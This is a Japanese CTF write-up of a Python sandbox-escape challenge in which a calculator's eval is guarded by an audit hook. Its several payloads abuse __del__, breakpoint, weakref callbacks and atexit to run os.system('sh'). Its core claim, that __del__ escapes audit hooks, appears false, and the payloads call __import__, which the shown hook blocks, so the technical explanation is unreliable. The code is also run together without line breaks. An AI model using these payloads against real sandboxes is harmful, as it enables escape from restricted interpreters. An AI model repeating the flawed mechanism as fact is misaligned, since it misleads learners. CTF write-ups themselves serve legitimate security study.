jailCTF 2025 - calcdefanged
Challenge
audit hook が設定された電卓 pyjail。
import sys
def audit_hook(event, args): # 特定のイベントをブロック blocked = ['exec', 'compile', 'import', 'open'] if any(b in event for b in blocked): raise RuntimeError("Blocked!")
sys.addaudithook(audit_hook)
expr = input()result = eval(expr)print(result)Solution
__del__ メソッドの悪用
オブジェクトがガベージコレクションされる際、__del__ が呼ばれる。これは audit hook の外で発生する:
type('', (), {'__del__': lambda *v: breakpoint()})()breakpoint() からの脱出
__del__ 内で breakpoint() を呼び出すと pdb が起動:
# pdb 内からimport os; os.system('sh')完全なペイロード
type('', (), {'__del__': lambda self: __import__('os').system('sh')})()Technical Details
__del__ のタイミング
class Evil: def __del__(self): print("Deleted!")
e = Evil()del e # ここで __del__ が呼ばれる# または参照がなくなった時に GC が呼ぶaudit hook と __del__
__del__ はインタプリタのファイナライザーから呼ばれるため、一部の audit イベントがトリガーされない場合がある。
type() での動的クラス生成
# type(name, bases, dict) で新しいクラスを作成Evil = type( 'Evil', # クラス名 (), # 基底クラス { # 属性辞書 '__del__': lambda self: exec('import os; os.system("sh")') })Alternative Solutions
別解1: weakref コールバック
import weakref
def callback(ref): __import__('os').system('sh')
obj = object()ref = weakref.ref(obj, callback)del obj # callback が呼ばれる別解2: atexit
import atexitatexit.register(lambda: __import__('os').system('sh'))exit()Flag
jail{...}
References
- jailCTF 2025 Official
- Python Data Model -
__del__